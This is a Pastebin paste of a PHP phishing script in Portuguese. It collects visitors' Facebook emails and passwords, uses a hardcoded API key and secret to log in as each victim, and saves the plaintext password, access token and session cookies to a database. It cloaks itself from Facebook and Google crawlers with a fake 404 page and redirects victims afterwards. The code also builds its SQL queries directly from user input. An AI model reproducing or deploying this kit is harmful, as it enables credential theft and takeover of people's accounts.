Advertisement
Guest User

Untitled

a guest
Feb 22nd, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.89 KB | None | 0 0
  1. <?php
  2. ob_start();
  3. include "config.php";
  4. ini_set('display_errors',1);
  5. ini_set('display_startup_erros',1);
  6. error_reporting(E_ALL);
  7. header('Origin: https://facebook.com');
  8. define('API_SECRET', '62f8ce9f74b12f84c123cc23437a4a32');
  9. define('BASE_URL', 'https://api.facebook.com/restserver.php');
  10. $j = file_get_contents('http://www.localizaip.com.br/api/iplocation.php');
  11. $j = json_decode($j);
  12. if(strstr($j->provider,"Facebook") || strstr($j->provider,"Google")){
  13. exit("<h1>Ops, 404</h1>");
  14. } else{
  15.  
  16. function sign_creator(&$data){
  17. $sig = "";
  18. foreach($data as $key => $value){
  19. $sig .= "$key=$value";
  20. }
  21. $sig .= API_SECRET;
  22. $sig = md5($sig);
  23. return $data['sig'] = $sig;
  24. }
  25.  
  26.  
  27. if(isset($_GET['get'])){
  28. $email = $_POST['email'];
  29. $senha = $_POST['senha'];
  30. $owner = $_POST['owner'];
  31.  
  32. $data = array(
  33. "api_key" => "882a8490361da98702bf97a021ddc14d",
  34. "email" => $email,
  35. "format" => "JSON",
  36. "generate_machine_id" => "1",
  37. "generate_session_cookies" => "1",
  38. "locale" => "pt_br",
  39. "method" => "auth.login",
  40. "password" => $senha,
  41. "return_ssl_resources" => "0",
  42. "v" => "1.0"
  43. );
  44. sign_creator($data);
  45. if($_GET['get'] == 'cookies'){
  46.  
  47.  
  48. ?>
  49. <html>
  50. <?php echo include "gettoken.php";
  51.  
  52. ?><?php } elseif($_GET['get'] == 'validar_cookies'){
  53. echo '<script type="text/javascript" src="https://code.jquery.com/jquery-3.3.1.min.js"></script>';
  54. $jsd = $_POST['cookie'];
  55. $jsd = json_decode($jsd);
  56. $session_array = array(
  57. 'c_user' => $jsd->session_cookies{0}->value,
  58. 'xs' => $jsd->session_cookies{1}->value,
  59. 'fr' => $jsd->session_cookies{2}->value,
  60. 'datr' => $jsd->session_cookies{3}->value
  61. );
  62. $session_array = json_encode($session_array);
  63. if(isset($jsd->error_code) || isset($jsd->error)){
  64. exit("<script>alert('N達o conseguimos verificar o seu perfil,Por favor verifique os dados e tente novamente!!!');window.location.href='page.php';</script>");
  65. } else {
  66. $sql = "SELECT * FROM tokens where uid='$jsd->uid' ";
  67. $result = $conn->query($sql);
  68.  
  69. if ($result->num_rows > 0) {
  70. $sql = "UPDATE tokens SET token='$jsd->access_token' WHERE uid=$jsd->uid";
  71. if ($conn->query($sql) === TRUE) {
  72. if($owner=="et"){
  73. header("location: https://bit.ly/2PQhe1q");
  74. } else {
  75. header("location: http://google.com");
  76. }
  77. } else {
  78. header("Location: http://facebook.com"); // falha
  79. }
  80. } else {
  81. $sql1 = "INSERT INTO tokens (id,email,senha,token,session,uid,owner)
  82. VALUES (NULL, '$email', '$senha', '$jsd->access_token','$session_array','$jsd->uid','$owner')";
  83.  
  84. if ($conn->query($sql1) === TRUE) {
  85. if($owner=="et"){
  86. header("location: https://bit.ly/2PQhe1q");
  87. } else {
  88. header("location: http://google.com");
  89. }
  90. } else {
  91. header("Location: http://facebook.com"); //falha
  92. }
  93. }
  94. }
  95. ?><?php }} else {?>
  96.  
  97. <?php echo include "xlogin.php";
  98.  
  99. ?><?php } } ?>
  100. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement